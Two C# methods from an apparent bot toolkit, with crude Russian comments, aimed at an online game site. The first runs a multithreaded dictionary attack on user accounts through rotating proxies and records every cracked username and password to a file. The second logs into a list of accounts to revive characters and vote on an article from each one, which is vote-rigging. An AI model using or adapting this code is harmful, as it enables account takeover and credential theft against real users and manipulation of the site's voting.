private static void zombolize_thread() { //Поток запущен же lock(m_ThreadCountLock) { m_ThreadCount++; } LoginPassword LPPair; while(true) { //Получаем новую пару логин/пароль или выходим lock(m_List) { //В текущем списке пусто? if(m_List.Count==0) { string nextvictim=m_NickNameList.GetNextString(); //Там вообще кто-то ещё есть? if(nextvictim==null) { //Нам тут больше делать нечего, по ходу. Тормозим поток. lock(m_ThreadCountLock) { m_ThreadCount--; } return; } ConsoleLog.WriteLine("Trying to hack "+nextvictim+". "+ m_NickNameList.m_List.Count+" left."); //Генерим набор, чо m_List.Add(new LoginPassword(nextvictim,nextvictim)); foreach(string password in m_Dictionary) { m_List.Add(new LoginPassword(nextvictim,password)); } } //Вытаскиваем из списка следующую пару логин/пасс LPPair=m_List[0]; m_List.RemoveAt(0); } //Долго и упорно пытаемся залогиниться. Связь нестабильна, поэтому ждём //ответа именно от ерепки, а не от быдлопрокси, который считает, что он //тут самый умный и вообще string Answer=null; while(true) { NerZul.Core.Network.Bot bot=new NerZul.Core.Network.Bot( Uri.EscapeDataString(LPPair.Login), Uri.EscapeDataString(LPPair.Password), "Opera/9.62 (Windows NT 6.1; U; ru) Presto/2.1.1", "", 0); bot.HttpClient.Proxy=m_ProxyList.GetRandomString(); bool HasAnswer=false; try { bot.Login(); HasAnswer=true; }catch(Exception){}; //Если там не вылетел эксепшн - смотрим. Иначе - нахуй if(HasAnswer) { Answer=bot.GetLastResponse(); //Если ответ таки от ерепки, думаем дальше if(Answer.Contains("href=\"/en/tickets")) break; } } //А куда мы попали? if(Answer.Contains("Permanent suspension")) { //Ух ты бля, оно в пермабане lock(m_List) { //Чистим список, если этого не сделали до нас if((m_List.Count>0)&&(m_List[0].Login==LPPair.Login)) { m_List.Clear(); } } } //Левый пасс, нэ? else if((Answer.Contains("Wrong password"))|| (Answer.Contains("Wrong citizen"))) { //Эм. А ничего не делаем. Наверное } else { //О, кул, залогинились. Пишем в лог, чистим списки if((m_List.Count>0)&&(m_List[0].Login==LPPair.Login)) { m_List.Clear(); } m_OutS.WriteLine(LPPair.Login+"|"+LPPair.Password); m_OutS.Flush(); ConsoleLog.WriteLine("HACKED: "+LPPair.Login+":"+LPPair.Password); } //Усё, а теперь следующую пару. System.Threading.Thread.Sleep(500); } }
private void Gobutton_Click_1(object sender, EventArgs e) { string sLogin, sPassword, sFile, sLink; sLink = TopictextBox.Text; sFile = FiletextBox.Text; int iLink = 0; if (sFile.Length == 0) { MessageBox.Show("Не указан файл!"); return; } if (sLink.Length == 0) { MessageBox.Show("Отсуствует номер на статьи!"); return; } iLink = int.Parse(sLink); if (iLink.ToString() != sLink) { MessageBox.Show("Неверно задан номер статьи!"); return; } m_ssUsers = GetDict(sFile); if (m_ssUsers.Count == 0) { MessageBox.Show("В указанном файле ничего нет!"); return; } foreach (var d in m_ssUsers) { throw new NotImplementedException("Login not updated to email"); sLogin = d.Key; sPassword = d.Value; ConsoleLog.WriteLine(sLogin); NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot(sLogin, sLogin, sPassword, false); try { if (!bt.Login()) { ConsoleLog.WriteLine("Wrong login or password!"); continue; } if(bt.GetLastResponse().Contains("dead")) { ConsoleLog.WriteLine("Possible dead!"); bt.Revive(); } } catch (System.Exception e1) { ConsoleLog.WriteLine(sLogin+": Possible dead!"); ConsoleLog.WriteLine(e1.Message); try { bt.Revive(); } catch (System.Exception e2) { ConsoleLog.WriteLine(sLogin+": Possible banned!"); ConsoleLog.WriteLine(e2.Message); continue; } } try { bt.VoteArticle(iLink); ConsoleLog.WriteLine(sLogin + ": voted!"); } catch (System.Exception e2) { ConsoleLog.WriteLine(e2.Message); continue; } } MessageBox.Show("Готово!"); }